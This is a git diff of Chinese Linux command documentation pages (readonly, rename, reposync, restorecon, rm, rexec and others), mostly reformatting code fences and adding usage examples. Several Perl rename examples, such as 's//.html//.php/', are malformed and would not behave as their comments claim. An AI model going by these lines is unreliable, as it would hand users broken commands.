**查看一个可执行的elf文件的节信息:** -``` +```shell [root@localhost test]$ readelf -S main There are 29 section headers, starting at offset 0xca0: Section Headers: @@ -444,7 +444,7 @@ Key to Flags: **查看一个包含调试信息的可执行的elf文件的节信息:** -``` +```shell [root@localhost test]$ readelf -S main.debug There are 37 section headers, starting at offset 0x88c8: @@ -497,7 +497,7 @@ Key to Flags: **查看一个目标文件的elf文件的节信息:** -``` +```shell [root@localhost test]$ readelf -S myfile.o There are 15 section headers, starting at offset 0x204: @@ -524,11 +524,11 @@ Key to Flags: O (extra OS processing required) o (OS specific), p (processor specific) -``` +```shell **查看一个静态库文件的elf文件的节信息:** -``` +```shell [root@localhost test]$ readelf -S libmy.a File: libmy.a(myfile.o) There are 15 section headers, starting at offset 0x204: @@ -558,7 +558,7 @@ Key to Flags: **查看一个动态库文件的elf文件的节信息:** -``` +```shell [root@localhost test]$ readelf -S libmy.so There are 27 section headers, starting at offset 0xad0: @@ -598,4 +598,3 @@ Key to Flags: ``` - \ No newline at end of file diff --git a/command/readonly.md b/command/readonly.md index 323806e2d2e..1895df531c6 100644 --- a/command/readonly.md +++ b/command/readonly.md @@ -1,57 +1,105 @@ readonly === - -定义只读shell变量或函数 -## 补充说明 +标记shell变量或函数为只读 -**readonly命令** 用于定义只读shell变量和shell函数。readonly命令的选项-p可以输出显示系统中所有定义的只读变量。 +## 语法 -### 语法 - -``` -readonly(选项)(参数) +```shell +readonly [-aAf] [name[=value] ...] +readonly -p ``` -### 选项 +## 主要用途 + +- 定义一到多个变量并设置只读属性。 +- 为已定义的一到多个变量设置只读属性。 +- 显示全部包含只读属性的变量。 +- 为已定义的一到多个函数设置只读属性。 +- 显示全部包含只读属性的函数。 +## 选项 + +```shell +-a:指向数组。 +-A:指向关联数组。 +-f:指向函数。 +-p:显示全部只读变量。 +--:在它之后的选项无效。 ``` --f:定义只读函数; --a:定义只读数组变量; --p:显示系统中全部只读变量列表。 + +## 参数 + +```shell +name(可选):变量名或函数名 +value(可选):变量的值 ``` -### 参数 +### 返回值 + +readonly返回true除非你提供了非法选项或非法名称。 -变量定义:定义变量,格式为“变量名=‘变量值’”。 +## 例子 + +```shell +# 定义变量并增加只读属性 +readonly var1=13 var2 +readonly -a arr1=(1 2 3 4 5) arr2=('z' 'x' 'c') +# 必须有 '-A' 选项 +readonly -A dict1=(['key1']='value1') +``` -### 实例 +```shell +# 先定义变量、函数,然后再为它们添加只读属性 +max=3 +readonly max -使用readonly命令显示系统中所有的已经定义的只读变量,输入如下命令: +# 数组定义时可以不加 `declare -a` +seasons=('spring' 'summer' 'autumn' 'winter') +# 为数组添加只读属性时可以不加 `-a` 选项 +readonly seasons +declare -A man=(['age']=23 ['height']='190cm') +# 为关联数组添加只读属性时可以不加 `-A` 选项 +readonly man + +function foo(){ echo 'bar'; } +# 为函数添加只读属性时必须加 `-f` 选项 +readonly -f foo ``` -[root@localhost ~]# readonly #显示只读变量 -declare -ar BASH_VERSINFO='([0]="3" [1]="2" [2]="25" [3]="1" [4]="release" [5]="i686-redhat-linux-gnu")' -declare -ir EUID="0" -declare -ir PPID="31436" -declare -r SHELLOPTS="braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor" -declare -ir UID="0" + +```shell +# 显示全部只读变量,以下两个命令的显示结果一样 +readonly +readonly -p +# 显示全部拥有只读属性的数组 +readonly -a +# 显示全部拥有只读属性的关联数组 +readonly -A +# 显示全部拥有只读属性的函数 +readonly -f ``` +## 常见错误 + 对于只读变量而言,若用户对其值进行修改,则会立即报错。例如,使用该指令定义一个只读变量"test",并且将其值初始化为"ok",输入如下命令: -``` +```shell [root@localhost ~]# readonly test='ok' #定义只读变量并初始化 ``` -那么当用户直接修改该只读变量时,就会被报错,如下所示: +那么当用户直接修改该只读变量时就会报错,如下所示: -``` +```shell [root@localhost ~]# test='my' #试图修改只读变量的值 -bash: test: readonly variable ``` 当用户试图修改只读变量的值时,会被提示该变量为只读变量。 +## 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 +2. `declare +r`不能去除只读属性, `unset`不能删除只读变量。 + - \ No newline at end of file diff --git a/command/reboot.md b/command/reboot.md index 6634f36df52..7b14d653f84 100644 --- a/command/reboot.md +++ b/command/reboot.md @@ -1,21 +1,21 @@ reboot === - + 重新启动正在运行的Linux操作系统 ## 补充说明 **reboot命令** 用来重新启动正在运行的Linux操作系统。 -### 语法 +### 语法 -``` +```shell reboot(选项) ``` -### 选项 +### 选项 -``` +```shell -d:重新开机时不把数据写入记录文件/var/tmp/wtmp。本参数具有“-n”参数效果; -f:强制重新开机,不调用shutdown指令的功能; -i:在重开机之前,先关闭所有网络界面; @@ -23,12 +23,11 @@ reboot(选项) -w:仅做测试,并不真正将系统重新开机,只会把重开机的数据写入/var/log目录下的wtmp记录文件。 ``` -### 实例 +### 实例 -``` +```shell reboot //重开机。 reboot -w //做个重开机的模拟(只有纪录并不会真的重开机)。 ``` - \ No newline at end of file diff --git a/command/reject.md b/command/reject.md index c28a60fdbbe..322c151fb75 100644 --- a/command/reject.md +++ b/command/reject.md @@ -1,30 +1,29 @@ reject === - + 指示打印系统拒绝发往指定目标打印机的打印任务 ## 补充说明 **reject命令** 属于CUPS套件,用于指示打印系统拒绝发往指定目标打印机的打印任务。 -### 语法 +### 语法 -``` +```shell reject(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -E:当连接到服务器时强制使用加密; -U:指定连接服务器时使用的用户名; -h:指定连接服务器名和端口号; -r:指定拒绝打印任务的原因。 ``` -### 参数 +### 参数 目标:指定目标打印机。 - \ No newline at end of file diff --git a/command/rename.md b/command/rename.md index 2c44b83dee6..f537ee1a664 100644 --- a/command/rename.md +++ b/command/rename.md @@ -1,77 +1,162 @@ rename === - + 用字符串替换的方式批量改变文件名 ## 补充说明 -**rename命令** 用字符串替换的方式批量改变文件名。 +rename命令存在两个版本用法上有所区别 -### 语法 +```bash +C语言版本, 支持通配符 +[常用通配符说明] +? 表示一个任意字符 +* 表示一个或一串任意字符 -``` -rename(参数) +Perl版本, 支持正则表达式 +[常用正则表达式符号说明] +^ 匹配输入的开始位置 +$ 匹配输入的结尾 +. 匹配除换行符外的任意字符 ++ 匹配前一个字符一次或多次 例如,"zo+"可以匹配"zoo",但不匹配"z" +[a-z] 表示某个范围内的字符,例如,"[a-z]"匹配"a"与"z"之间的任何一个小写字母字符。 +[^m-z] 否定的字符区间。与不在指定区间内的字符匹配。 ``` -### 参数 +区分方法: `rename --version` -``` -原字符串:将文件名需要替换的字符串; -目标字符串:将文件名中含有的原字符替换成目标字符串; -文件:指定要改变文件名的文件列表。 +如果返回结果中包含 **util-linux** , 说明是C语言版本, 反之是Perl版本 +```bash +# Perl版本 | Ubuntu(18),Mint(20)默认的是Perl版本 +$ rename --version +/usr/bin/rename using File::Rename version 1.10 + +# C语言版本 | Centos(7)默认的是C语言版本 +$ rename --version +rename,来自 util-linux 2.23.2 ``` -### 实例 -将main1.c重命名为main.c +### 语法 -``` -rename main1.c main.c main1.c +```bash +# Perl版本 +rename [ -h|-m|-V ] [ -v ] [ -0 ] [ -n ] [ -f ] [ -d ] [ -e|-E perlexpr]*|perlexpr [ files ] + +# C语言版本 +rename [选项] 表达式 替换的字符 文件... ``` - **rename支持通配符** +### 参数 -``` -? 可替代单个字符 -* 可替代多个字符 -[charset] 可替代charset集中的任意单个字符 -``` +```bash +# Perl版本 +-v, --verbose + 详细:成功重命名的文件的打印名称。 -文件夹中有这些文件foo1, ..., foo9, foo10, ..., foo278 +-0, --null + 从STDIN读取时,请使用\0作为记录分隔符 -如果使用`rename foo foo0 foo?`,会把foo1到foo9的文件重命名为foo01到foo09,重命名的文件只是有4个字符长度名称的文件,文件名中的foo被替换为foo0。 +-n, --nono + 不执行任何操作:打印要重命名的文件名,但不重命名。 -如果使用`rename foo foo0 foo??`,foo01到foo99的所有文件都被重命名为foo001到foo099,只重命名5个字符长度名称的文件,文件名中的foo被替换为foo0。 +-f, --force + 覆盖:允许覆盖现有文件 -如果使用`rename foo foo0 foo*`,foo001到foo278的所有文件都被重命名为foo0001到foo0278,所有以foo开头的文件都被重命名。 +--path, --fullpath + 重命名完整路径:包括任何目录组件。默认 -如果使用`rename foo0 foo foo0[2]*`,从foo0200到foo0278的所有文件都被重命名为foo200到foo278,文件名中的foo0被替换为foo。 +-d, --filename, --nopath, --nofullpath + 不重命名目录:仅重命名路径的文件名部分 - **rename支持正则表达式** +-h, --help + 帮助:打印提要和选项。 -字母的替换 +-m, --man + 手册: 打印手册页. +-V, --version + 版本: 显示版本号. + +-e 表达: 作用于文件名的代码. + + 可以重复来构建代码(比如“perl-e”)。如果没有-e,则第一个参数用作代码。 + +-E 语句:对文件名执行操作的代码,如-e,但终止于 ';'. + + +# C语言版本 +-v, --verbose + 提供视觉反馈,其中重命名了哪些文件(如果有的话) + +-V, --version + 显示版本信息并退出。 + +-s, --symlink + 在符号链接目标上执行重命名 + +-h, --help + 显示帮助文本并退出 ``` -rename "s/AA/aa/" * //把文件名中的AA替换成aa + +### 实例 + +--- + +#### Perl版本 + +将1.txt 2.txt重命名为1.log 2.log + +```bash +$ rename -v "s/txt/log/g" 1.txt 2.txt +1.txt renamed as 1.log +2.txt renamed as 2.log ``` 修改文件的后缀 -``` -rename "s//.html//.php/" * //把.html 后缀的改成 .php后缀 +```bash +rename "s//.html//.php/" * # 把.html 后缀的改成 .php后缀 ``` 批量添加文件后缀 -``` -rename "s/$//.txt/" * //把所有的文件名都以txt结尾 +```bash +rename "s/$//.txt/" * # 把所有的文件名都以txt结尾 ``` 批量删除文件名 +```bash +rename "s//.txt//" * # 把所有以.txt结尾的文件名的.txt删掉 ``` -rename "s//.txt//" * //把所有以.txt结尾的文件名的.txt删掉 + +--- + +##### C语言版本 + + +将1.txt 2.txt重命名为1.log 2.log + +```bash +$ rename -v txt log 1.txt 2.txt +`1.txt' -> `1.log' +`2.txt' -> `2.log' +``` + +文件夹中有这些文件foo1, ..., foo9, foo10, ..., foo278 +```bash +# 把foo1到foo9的文件重命名为foo01到foo09,重命名的文件只是有4个字符长度名称的文件,文件名中的foo被替换为foo0。 +rename foo foo0 foo? + +# foo01到foo99的所有文件都被重命名为foo001到foo099,只重命名5个字符长度名称的文件,文件名中的foo被替换为foo0。 +rename foo foo0 foo?? + +# foo001到foo278的所有文件都被重命名为foo0001到foo0278,所有以foo开头的文件都被重命名。 +rename foo foo0 foo* + +# 从foo0200到foo0278的所有文件都被重命名为foo200到foo278,文件名中的foo0被替换为foo。 +rename foo0 foo foo0[2]* ``` - \ No newline at end of file diff --git a/command/renice.md b/command/renice.md index 4d2aa94965e..97d762171f2 100644 --- a/command/renice.md +++ b/command/renice.md @@ -1,39 +1,38 @@ renice === - + 修改正在运行的进程的调度优先级 ## 补充说明 **renice命令** 可以修改正在运行的进程的调度优先级。预设是以程序识别码指定程序调整其优先权,您亦可以指定程序群组或用户名称调整优先权等级,并修改所有隶属于该程序群组或用户的程序的优先权。只有系统管理者可以改变其他用户程序的优先权,也仅有系统管理者可以设置负数等级。 -### 语法 +### 语法 -``` +```shell renice(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -g:指定进程组id; -p<程序识别码>:改变该程序的优先权等级,此参数为预设值。 -u:指定开启进程的用户名。 ``` -### 参数 +### 参数 进程号:指定要修改优先级的进程。 -### 实例 +### 实例 将行程id为987及32的行程与行程拥有者为daemon及root的优先序号码加1: -``` +```shell renice 1 987 -u daemon root -p 32 ``` 注意:每一个行程都有一个唯一的id。 - \ No newline at end of file diff --git a/command/reposync.md b/command/reposync.md new file mode 100644 index 00000000000..71fb087f937 --- /dev/null +++ b/command/reposync.md @@ -0,0 +1,100 @@ +reposync +=== + +同步yum存储库到本地目录 + +## 概要 + +```shell +reposync [选项] +``` + +## 主要用途 + +reposync用于将远程yum存储库同步到本地目录,使用yum检索包。 + +## 选项 + +```shell +-h, --help +# 显示帮助信息 + +-c CONFIG, --config=CONFIG +# 指定配置文件(默认为/etc/yum.conf) + +-a ARCH, --arch=ARCH +# 指定arch + +--source +# 同时下载src和rpm文件. + +-r REPOID, --repoid=REPOID +# 指定要查询的repo id,可以指定多次(默认为全部启用)。 + +-e CACHEDIR, --cachedir CACHEDIR +# 存储元数据的目录。 + +-t, --tempcache +# 使用临时目录存储/访问yum-cache。 + +-d, --delete +# 删除存储库中不再存在的本地包。 + +-p DESTDIR, --download_path=DESTDIR +# 指定下载路径:默认为当前目录。 + +--norepopath +# 不要将重命名添加到下载路径中。只能在同步单个存储库时使用(默认是添加重命名)。 + +-g, --gpgcheck +# 下载后删除GPG签名检查失败的包。如果至少有一个包被删除,退出状态为“1”。 + +-u, --urls +# 只列出要下载的内容的url,不要下载。 + +-l, --plugins +# 启用yum插件支持。 + +-m, --downloadcomps +# 同时下载comps.xml。 + +--download-metadata +# 下载所有非默认元数据。 + +-n, --newest-only +# 每个repo只下载最新的包。 + +-q, --quiet +# 输出尽可能少的信息。 + +--allow-path-traversal +# 允许同步存储在repo目录之外的包。这些包是在元数据中通过使用绝对路径或上一级“..”系统引用的并且出于安全原因通常会在reposync中跳过。 +# 注意:使用此选项有潜在的安全隐患,因为通过提供恶意repodata,攻击者可以使reposync写入任意位置运行该文件系统的用户可以访问的文件系统。 +``` + +## 例子 + +```shell +# 将'updates'仓库中的所有包同步到当前目录: +reposync --repoid=updates + +# 只同步最新的包从'updates'仓库到当前目录: +reposync -n --repoid=updates + +# 将'updates'和'extras'仓库中的包同步到当前目录: +reposync --repoid=updates --repoid=extras + +# 将'updates'仓库中的所有包同步到repos目录: +reposync -p repos --repoid=updates + +# 将'updates'仓库中的所有包同步到repos目录,排除x86_64架构文件。编辑/etc/yum.conf,添加选项exclude=*.x86_64。再执行: +reposync -p repos --repoid=updates +``` + +## 文件 + +reposync使用yum库来检索信息和包。如果没有指定配置文件,将使用默认的yum配置。 + +* /etc/yum.conf +* /etc/yum/repos.d/ + diff --git a/command/repquota.md b/command/repquota.md index 328620a35ff..d22d1c3be47 100644 --- a/command/repquota.md +++ b/command/repquota.md @@ -1,38 +1,37 @@ repquota === - + 报表的格式输出磁盘空间限制的状态 ## 补充说明 **repquota命令** 以报表的格式输出指定分区,或者文件系统的磁盘配额信息。 -### 语法 +### 语法 -``` +```shell repquota(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a:列出在/etc/fstab文件里,有加入quota设置的分区的使用状况,包括用户和群组; -g:列出所有群组的磁盘空间限制; -u:列出所有用户的磁盘空间限制; -v:显示该用户或群组的所有空间限制。 ``` -### 参数 +### 参数 文件系统:要打印报表的文件系统或者对应的设备文件名。 -### 实例 +### 实例 显示所有文件系统的磁盘使用情况 -``` +```shell repquota -a ``` - \ No newline at end of file diff --git a/command/resize.md b/command/resize.md index 615bc79cddf..0d2a552ed10 100644 --- a/command/resize.md +++ b/command/resize.md @@ -1,21 +1,21 @@ resize === -命令设置终端机视窗的大小。 +命令设置终端机视窗的大小 ## 补充说明 **resize命令** 命令设置终端机视窗的大小。执行resize指令可设置虚拟终端机的视窗大小。 -### 语法 +### 语法 -``` +```shell resize [-cu][-s <列数> <行数>] ``` -### 选项 +### 选项 -``` +```shell -c  就算用户环境并非C Shell,也用C Shell指令改变视窗大小。 -s <列数> <行数>  设置终端机视窗的垂直高度和水平宽度。 -u  就算用户环境并非Bourne Shell,也用Bourne Shell指令改变视窗大小。 @@ -25,7 +25,7 @@ resize [-cu][-s <列数> <行数>] 使用 C shell -``` +```shell [root@localhost ~]# resize -c set noglob; setenv COLUMNS '99'; @@ -36,7 +36,7 @@ unset noglob; 使用 Bourne shell -``` +```shell [root@localhost ~]# resize -u COLUMNS=99; LINES=34; @@ -45,9 +45,9 @@ export COLUMNS LINES; 设置指定大小 -``` +```shell [root@localhost ~]# resize -s 80 160 ``` - + diff --git a/command/restore.md b/command/restore.md index 66ded52b01d..47067c128ea 100644 --- a/command/restore.md +++ b/command/restore.md @@ -1,21 +1,21 @@ restore === - + 所进行的操作和dump指令相反 ## 补充说明 **restore命令** 是dump命令的逆过程,用于还原dump命令生成的备份文件。倾倒操作可用来备份文件,而还原操作则是写回这些已备份的文件。 -### 语法 +### 语法 -``` +```shell restore(选项) ``` -### 选项 +### 选项 -``` +```shell -b<区块大小>:设置区块大小,单位为Byte; -c:不检查倾倒操作的备份格式,仅准许读取使用旧格式的备份文件; -C:使用对比模式,将备份的文件与现行的文件相互对比; @@ -33,23 +33,22 @@ restore(选项) -y:不询问任何问题,一律以同意回答并继续执行指令。 ``` -### 实例 +### 实例 -``` +```shell dump -9 -u -f /dev/hda3 /home/frank/ ``` 用restore命令来恢复备份: -``` +```shell restore rf /dev/hda3 /home/frank ``` 用restore命令来查看备份文件里的文件列表: -``` +```shell restore ft /dev/hda3 ``` - \ No newline at end of file diff --git a/command/restorecon.md b/command/restorecon.md index 312ca007520..85b8fe50f16 100644 --- a/command/restorecon.md +++ b/command/restorecon.md @@ -1,21 +1,21 @@ restorecon === - + 恢复文件的安全上下文 ## 补充说明 **restorecon命令** 用来恢复SELinux文件属性即恢复文件的安全上下文。 -### 语法 +### 语法 -``` +```shell restorecon [-iFnrRv] [-e excludedir ] [-o filename ] [-f filename | pathname...] ``` -### 选项 +### 选项 -``` +```shell -i:忽略不存在的文件。 -f:infilename 文件 infilename 中记录要处理的文件。 -e:directory 排除目录。 @@ -26,44 +26,51 @@ restorecon [-iFnrRv] [-e excludedir ] [-o filename ] [-f filename | pathname...] -F:强制恢复文件安全语境。 ``` -### 实例 +### 实例 假设CentOS安装了apache,网页默认的主目录是`/var/www/html`,我们经常遇到这样的问题,在其他目录中创建了一个网页文件,然后用mv移动到网页默认目录`/var/www/html`中,但是在浏览器中却打不开这个文件,这很可能是因为这个文件的SELinux配置信息是继承原来那个目录的,与`/var/www/html`目录不同,使用mv移动的时候,这个SELinux配置信息也一起移动过来了,从而导致无法打开页面,具体请看下面的实例: -
/*使用CentOS举例,如果默认没有安装apache,确保网络连接,使用下面的命令安装*/
+使用CentOS举例,如果默认没有安装apache,确保网络连接,使用下面的命令安装
+
+```shell
 [root@jsdig.com ~]# yum install httpd
- /*我们在root的家目录新建一个html文件*/
+ # 我们在root的家目录新建一个html文件 
 [root@jsdig.com ~]# pwd
 /root
 
 [root@jsdig.com ~]# vi index.html
 
-/*随便输入一段文字,保存退出*/
+# 随便输入一段文字,保存退出 
 welcome to www.jsdig.com
 
-/*将这个文件mv到网页默认目录下*/
+# 将这个文件mv到网页默认目录下 
 [root@jsdig.com ~]# mv index.html /var/www/html/
 
-/*
- * 这个时候我们使用firefox浏览器输入127.0.0.1/index.html发现打不开,
- * 查看一下SELinux的日志文件,发现了下面这一段报错信息,从这个报错信息不难看出,
- * 进程httpd访问网页主目录中的index.html时被SELinux阻止,原因是因为,SELinux配置信息不正确,
- * 正确的SELinux配置信息应该是scontext=后面的部分,
- * 而index.html文件的SELinux配置信息却是tcontext=后面的部分,
- * 从tcontext=的第三段“admin_home_t”不难看出,这个文件的SELinux配置信息是root用户家目录的。
- */
+# 
+# 这个时候我们使用firefox浏览器输入127.0.0.1/index.html发现打不开,
+# 查看一下SELinux的日志文件,发现了下面这一段报错信息,从这个报错信息不难看出,
+# 进程httpd访问网页主目录中的index.html时被SELinux阻止,原因是因为,SELinux配置信息不正确,
+# 正确的SELinux配置信息应该是scontext=后面的部分,
+# 而index.html文件的SELinux配置信息却是tcontext=后面的部分,
+# 从tcontext=的第三段“admin_home_t”不难看出,这个文件的SELinux配置信息是root用户家目录的。
+# 
 type=AVC msg=audit(1378974214.610:465): avc:  denied  { open } for  pid=2359 comm="httpd" path="/var/www/html/index.html" dev="sda1" ino=1317685 scontext=system_u:system_r:httpd_t:s0 tcontext=unconfined_u:object_r:admin_home_t:s0 tclass=file
+```
+
+使用ls -Z也可以看出,文件和目录的SELinux信息不匹配
 
-/*使用ls -Z也可以看出,文件和目录的SELinux信息不匹配*/
+```shell
 [root@jsdig.com html]# ls -Z /var/www/html/
 .... unconfined_u:object_r:admin_home_t:s0 index.html
 
 [root@jsdig.com html]# ls -Zd /var/www/html/
 .... system_u:object_r:httpd_sys_content_t:s0 /var/www/html/
+```
+
+使用restorecon来恢复网页主目录中所有文件的SELinux配置信息(如果目标为一个目录,可以添加-R参数递归)
 
-/*使用restorecon来恢复网页主目录中所有文件的SELinux配置信息(如果目标为一个目录,可以添加-R参数递归)*/
+```shell
 [root@jsdig.com html]# restorecon -R /var/www/html/
 ```
 
 
-
\ No newline at end of file
diff --git a/command/return.md b/command/return.md
new file mode 100644
index 00000000000..e10ece03d24
--- /dev/null
+++ b/command/return.md
@@ -0,0 +1,45 @@
+return
+===
+
+从函数中退出并返回数值。
+
+## 概要
+
+```shell
+return [n]
+```
+
+## 主要用途
+
+- 使得shell函数退出并返回数值,如果没有指定n的值,则默认为函数最后一条命令执行的返回状态。
+
+## 参数
+
+n(可选):整数。
+
+## 返回值
+
+返回值为你指定的参数n的值,如果你指定的参数大于255或小于0,那么会通过加或减256的方式使得返回值总是处于0到255之间。
+
+在函数外执行return语句会返回失败。
+
+## 例子
+
+```shell
+#!/usr/bin/env bash
+# 定义一个返回值大于255的函数
+example() {
+  return 259
+}
+# 执行函数
+example
+# 显示3
+echo $?
+```
+
+### 注意
+
+1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+
+
+
diff --git a/command/rev.md b/command/rev.md
index b61f6d860b5..2cd9e71b952 100644
--- a/command/rev.md
+++ b/command/rev.md
@@ -1,25 +1,25 @@
 rev
 ===
-
+
 将文件内容以字符为单位反序输出
 
 ## 补充说明
 
 **rev命令** 将文件中的每行内容以字符为单位反序输出,即第一个字符最后输出,最后一个字符最先输出,依次类推。
 
-### 语法  
+###  语法
 
-```
+```shell
 rev(参数)
 ```
 
-### 参数  
+###  参数
 
 文件:指定要反序显示内容的文件。
 
-### 实例  
+###  实例
 
-```
+```shell
 [root@localhost ~]# cat iptables.bak
 # Generated by iptables-save v1.3.5 on Thu Dec 26 21:25:15 2013
 *filter
@@ -52,4 +52,3 @@ TIMMOC
 ```
 
 
-
\ No newline at end of file
diff --git a/command/rexec.md b/command/rexec.md
index 354500d7c67..088002229f5 100644
--- a/command/rexec.md
+++ b/command/rexec.md
@@ -1,7 +1,7 @@
 rexec
 ===
-
-运程执行Linux系统下命令 
+
+远程执行Linux系统下命令
 
 ## 补充说明
 
@@ -9,31 +9,31 @@ rexec
 
 rexec命令通过检查`$HOME/.netrc`文件(包含远程主机上使用的用户名和密码)来提供自动登录的功能。如果没有发现此类项或系统在安全方式下操作(参阅 securetcpip 命令),rexec命令提示输入一个远程主机的有效用户名和密码。这两种情况下,rexec均导致远程系统上的rexecd使用缺省的compat用户登录认证方法。rexecd不会为了备用的认证方法去查找`/etc/security/user`文件。也可以指定`-n`标志到rexec命令行上来重设自动登录功能。
 
-### 语法  
+###  语法
 
-```
+```shell
 rexec(选项)(参数)
 ```
 
-### 选项  
+###  选项
 
-```
+```shell
 -a:表示远程命令的标准错误与标准输出相同,不支持发送任意信号到远程进程;
 -l<用户名>:指定连接远程rexec服务器的用户名;
 -p<密码>:指定连接远程rexec服务器的密码;
 -n:明确地提示输入用户名和密码。
 ```
 
-### 参数  
+###  参数
 
 *   远程主机:指定远程主机(ip地址或主机名);
 *   命令:指定需要在远程主机上执行的命令。
 
-### 实例  
+###  实例
 
 要在一个远程主机上执行date命令,输入:
 
-```
+```shell
 rexec host1 date
 ```
 
@@ -41,7 +41,7 @@ date命令的输出现在显示在本地系统上。本示例中,在本地主
 
 要重设自动登录功能并执行远程主机上的date命令,输入:
 
-```
+```shell
 rexec -nhost1 date
 ```
 
@@ -49,7 +49,7 @@ rexec -nhost1 date
 
 列出远程主机上另一个用户的目录,输入:
 
-```
+```shell
 rexec host1 ls -l /home/karen
 ```
 
@@ -58,4 +58,4 @@ rexec host1 ls -l /home/karen
 如果没有远程主机的`$HOME/.netrc`文件中的有效项,将提示您输入登录标识和密码。输入要求的登录信息后,在远程主机host1上的karen用户的目录列表显示在本地系统上。
 
 
-
\ No newline at end of file
+
diff --git a/command/rlogin.md b/command/rlogin.md
index ae0b2318bbb..cfeed46a9d3 100644
--- a/command/rlogin.md
+++ b/command/rlogin.md
@@ -1,21 +1,21 @@
 rlogin
 ===
-
+
 从当前终端登录到远程Linux主机
 
 ## 补充说明
 
 **rlogin命令** 用于从当前终端登录到远程Linux主机。
 
-### 语法  
+###  语法
 
-```
+```shell
 rlogin(选项)(参数)
 ```
 
-### 选项  
+###  选项
 
-```
+```shell
 -8:允许输入8位字符数据;
 -e脱离字符>:设置脱离字符;
 -E:滤除脱离字符;
@@ -23,9 +23,8 @@ rlogin(选项)(参数)
 -L:使用litout模式进行远端登入阶段操作。
 ```
 
-### 参数  
+###  参数
 
 远程主机:指定要登录的远程主机(ip地址或者域名)。
 
 
-
\ No newline at end of file
diff --git a/command/rm.md b/command/rm.md
index 71c54a87254..c628cd54f12 100644
--- a/command/rm.md
+++ b/command/rm.md
@@ -11,13 +11,13 @@ rm
 
 ### 语法
 
-```
+```shell
 rm (选项)(参数)
 ```
 
 ### 选项
 
-```
+```shell
 -d:直接把欲删除的目录的硬连接数据删除成0,删除该目录;
 -f:强制删除文件或目录;
 -i:删除已有文件或目录之前先询问用户;
@@ -34,7 +34,7 @@ rm (选项)(参数)
 
 交互式删除当前目录下的文件test和example
 
-```
+```shell
 rm -i test example
 Remove test ?n(不删除文件test)
 Remove example ?y(删除文件example)
@@ -42,26 +42,50 @@ Remove example ?y(删除文件example)
 
 删除当前目录下除隐含文件外的所有文件和子目录
 
-```
+```shell
 # rm -r *
 ```
 
 应注意,这样做是非常危险的!
 
-**rm 命令删除文件**
+**删除当前目录下的 package-lock.json 文件**
+
+```shell
+find .  -name "package-lock.json" -exec rm -rf {} \;
+```
+
+**查找 *.html 结尾的文件并删除**
+
+```shell
+find ./docs -name "*.html" -exec rm -rf {} \;
+```
+
+**删除当前项目下 *.html 结尾的文件**
+
+```shell
+rm -rf *.html
+```
+
+**删除当前目录下的 node_modules 目录**
 
-```bash
+```shell
+find . -name 'node_modules' -type d -prune -exec rm -rf '{}' +
+```
+
+**删除文件**
+
+```shell
 # rm 文件1 文件2 ...
 rm testfile.txt
 ```
 
-**rm 命令删除目录**
+**删除目录**
 
 > rm -r [目录名称]
 > -r 表示递归地删除目录下的所有文件和目录。
 > -f 表示强制删除
 
-```
+```shell
 rm -rf testdir
 rm -r testdir
 ```
@@ -70,15 +94,21 @@ rm -r testdir
 
 > rm -i [文件/目录]
 
-```
+```shell
 rm -r -i testdir
 ```
 
+**批量删除 `icons` 文件夹中的子文件夹中的 data 文件夹**
+
+```shell
+rm -rf icons/**/data
+```
+
 **rm 忽略不存在的文件或目录**
 
 > -f 选项(LCTT 译注:即 “force”)让此次操作强制执行,忽略错误提示
 
-```
+```shell
 rm -f [文件...]
 ```
 
@@ -87,7 +117,7 @@ rm -f [文件...]
 > 选项 -I,可保证在删除超过 3 个文件时或递归删除时(LCTT 译注: 如删除目录)仅提示一次确认。
 
 
-```
+```shell
 rm -I file1 file2 file3
 ```
 
@@ -96,14 +126,14 @@ rm -I file1 file2 file3
 > 当然,删除根目录(/)是 Linux 用户最不想要的操作,这也就是为什么默认 rm 命令不支持在根目录上执行递归删除操作。
 > 然而,如果你非得完成这个操作,你需要使用 --no-preserve-root 选项。当提供此选项,rm 就不会特殊处理根目录(/)了。
 
-```
-不给实例了,操作系统都被你删除了,你太坏了😆
+```shell
+不给示例了,操作系统都被你删除了,你太坏了😆
 ```
 
 **rm 显示当前删除操作的详情**
 
-```
+```shell
 rm -v [文件/目录]
 ```
 
-
+
diff --git a/command/rmdir.md b/command/rmdir.md
index fab3d243c43..0ac6b29fe63 100644
--- a/command/rmdir.md
+++ b/command/rmdir.md
@@ -11,15 +11,15 @@ rmdir
 
 虽然还可以用带有`-r`选项的rm命令递归删除一个目录中的所有文件和该目录本身,但是这样做存在很大的危险性。
 
-### 语法  
+###  语法 
 
-```
+```shell
 rmdir(选项)(参数)
 ```
 
-### 选项  
+###  选项 
 
-```
+```shell
 -p或--parents:删除指定目录后,若该目录的上层目录已变成空目录,则将其一并删除;
 --ignore-fail-on-non-empty:此选项使rmdir命令忽略由于删除非空目录时导致的错误信息;
 -v或-verboes:显示命令的详细执行过程;
@@ -27,29 +27,29 @@ rmdir(选项)(参数)
 --version:显示命令的版本信息。
 ```
 
-### 参数  
+###  参数 
 
 目录列表:要删除的空目录列表。当删除多个空目录时,目录名之间使用空格隔开。
 
-### 实例  
+###  实例 
 
 将工作目录下,名为 `www` 的子目录删除 :
 
-```bash
+```shell
 rmdir www
 ```
 
 在工作目录下的 www 目录中,删除名为 Test 的子目录。若 Test 删除后,www 目录成为空目录,则 www 亦予删除。
 
-```bash
+```shell
 rmdir -p www/Test
 ```
 
 下面命令等价于 `rmdir a/b/c`, `rmdir a/b`, `rmdir a`
 
-```bash
+```shell
 rmdir -p a/b/c
 ```
 
 
-
+
diff --git a/command/rmmod.md b/command/rmmod.md
index c5661693eb0..c27d786e33d 100644
--- a/command/rmmod.md
+++ b/command/rmmod.md
@@ -1,36 +1,36 @@
 rmmod
 ===
-
+
 从运行的内核中移除指定的内核模块
 
 ## 补充说明
 
 **rmmod命令** 用于从当前运行的内核中移除指定的内核模块。执行rmmod指令,可删除不需要的模块。Linux操作系统的核心具有模块化的特性,应此在编译核心时,务须把全部的功能都放如核心。你可以将这些功能编译成一个个单独的模块,待有需要时再分别载入它们。
 
-### 语法  
+### 语法
 
-```
+```shell
 rmmod(选项)(参数)
 ```
 
-### 选项  
+### 选项
 
-```
+```shell
 -v:显示指令执行的详细信息;
 -f:强制移除模块,使用此选项比较危险;
